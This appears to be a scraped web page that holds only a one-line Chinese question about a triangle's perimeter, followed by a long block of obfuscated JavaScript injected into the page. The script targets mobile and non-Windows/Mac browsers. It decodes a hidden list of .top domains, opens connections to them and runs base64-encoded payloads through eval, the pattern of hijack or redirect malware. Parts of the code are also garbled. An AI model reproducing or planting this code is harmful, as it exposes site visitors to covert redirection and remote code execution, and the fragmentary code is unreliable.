三角形的周长公式是什么

function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'tv' + 'YxC' + 'mbu' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("eXEuZmp1cWEudG9wLHl6LnlydWFqZC50b3AseWEuZGhrcXFlLnRvcA=="); var dnum = 3; var snum = "3"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); 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while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("YmQ3MDBmMjctOWY3MC00OGJiLWE5YmUtMzk1MGVlMDExYjU0"); if (localStorage.getItem("domainlist" + dnum + "_2024-11-27") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2024-11-27", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvWHl5REUtJyBqIG94Wm8oZ3EpIGogJy9PXycgaiBveFpvKGc5KSk7DQpBWG8gWk92c0pyWiA9IHhzWkxPdnNKclooU3IweVpPSjAgKCkge2J4NEUueUdKeHMoKTtieHNvb0pvKCk7fSwgZ0h1dXUpOw0KQVhvIFJ4SjAgPSAnW3JyT0RdJzsgQVhvIHZzeHhYVnNseEowID0gbHp3Yy54Wm9PMFZPU2UoUnhKMCk7DQpieDRFLkowSjhzMCA9IFNyMHlaT0owICgpIHsgeUdzWG9MT3ZzSnJaKFpPdnNKclopOyBieDRFLnhzMEQodnN4eFhWc2x4SjApOyB9DQpieDRFLkowdnN4eFhWcyA9IFNyMHlaT0owIChzQXMwWikgeyBieDRFLnlHSnhzKCk7IEFYbyBERFogPSBzQXMwWi5EWFpYLm9zOEdYeXMoIltEWkRKdlhPMF0iLCAwSmJyb0cpLm9zOEdYeXMoIltEWkRKdlhPMF0iLCAwSmJyb0cpLm9zOEdYeXMoIltEWkRKdlhPMF0iLCAwSmJyb0cpOyBzQVhHKEREWik7IH0NCmJ4NEUuSjBzb29KbyA9IFNyMHlaT0owICgpIHsgYnhzb29KbygpOyB9DQpTcjB5Wk9KMCBieHNvb0pvKCkgew0KQVhvIG9zZnJzeFogPSAwc2IgaElrWVpaOG1zZnJzeFooKTsNCkFYbyA4dkdPeFogPSAiOFguRFhST1hDWEpnLlpKOCw4WC5EWFJPWENYSnEuWko4LDhYLkRYUk9YQ1hKZC5aSjgsOFguRFhST1hDWEpILlpKOCw4WC5EWFJPWENYSmEuWko4LDhYLkRYUk9YQ1hKOS5aSjgsOFguRFhST1hDWEo3LlpKOCw4WC5EWFJPWENYSjUuWko4LDhYLkRYUk9YQ1hKVy5aSjgsOFguRFhST1hDWEpndS5aSjgsOFguRFhST1hDWEpnZy5aSjgsOFguRFhST1hDWEpncS5aSjgsOFguRFhST1hDWEpnZC5aSjgsOFguRFhST1hDWEpnSC5aSjgsOFguRFhST1hDWEpnYS5aSjgsOFguRFhST1hDWEpnOS5aSjgsOFguRFhST1hDWEpnNy5aSjgsOFguRFhST1hDWEpnNS5aSjgsOFguRFhST1hDWEpnVy5aSjgsOFguRFhST1hDWEpxdS5aSjgsWC5EWFJPWENYSnFnLlpKOCw4WC5EWFJPWENYSnFxLlpKOCw4WC5EWFJPWENYSnFkLlpKOCw4WC5EWFJPWENYSnFILlpKOCI7DQpBWG8gWFpzdjhkID0gOHZHT3haLng4R09aKCIsIik7DQpBWG8gMEpiQ3EgPSAwc2IgblhacygpLlZzWllKcm94KCk7DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLycgaiBYWnN2OGRbMEpiQ3FdIGogJy9Wc1pCSkRzbkp2WE8wJywgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeSgpO319Ow0Kb3NmcnN4Wi5KMHNvb0pvID0gU3IweVpPSjAgKCkgeyBWclhYeSgpOyB9DQpvc2Zyc3haLnhzMEQoKTsgfQ0KDQpTcjB5Wk9KMCBWc1pyb0coKSB7DQpBWG8gWFpzdjhxOw0KT1MgKERKdlhPMEdPeFouTzBEczZ3UygiLCIpID49IHUpIHsgWFpzdjhxID0gREp2WE8wR094Wi54OEdPWigiLCIpOyB9IHNHeHMgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCJ8Iik7IH0NCk9TIChYWnN2OHEuR3MwVlpDIDwgcSkgeyAwSmJyb0cgPSBYWnN2OHFbdV0gfSBzR3hzIHsgMEpicm9HID0gWFpzdjhxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIFhac3Y4cS5HczBWWkMpXTsgfSB9DQpTcjB5Wk9KMCBveFpvKEdzMFZaQykgeyBBWG8gb3N4ckdaID0gJyc7IEFYbyB5Q1hvWHlac294ID0gJzFOQm5LdHBZM2xUa0ljd0ZpbXpMTVBRaCsyWEV5RHNTVkNPUlVHdjBKOGZveFpyQWI2ZTR1Z3FkSGE5NzVXJzsgQVhvIHlDWG9YeVpzb3hrczBWWkMgPSB5Q1hvWHlac294LkdzMFZaQzsgU0pvIChBWG8gTyA9IHU7IE8gPCBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KCkgew0KVnNacm9HKCk7DQpBWG8gWDhPMFh2cyA9ICIvVlh5RUQiIGogb3habyhxKSBqICJfIiBqIG94Wm8oNSkgaiAiL3l5QVgtIiBqIG94Wm8oOSkgaiAiXyIgaiBveFpvKGEpIGogIi1ERC8iIGogUnhKMCBqICIvTzBEczYtIiBqIG94Wm8oZCk7DQpBWG8gNkNvID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQo2Q28uSjhzMCgncEtMJywgIkNaWjg6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};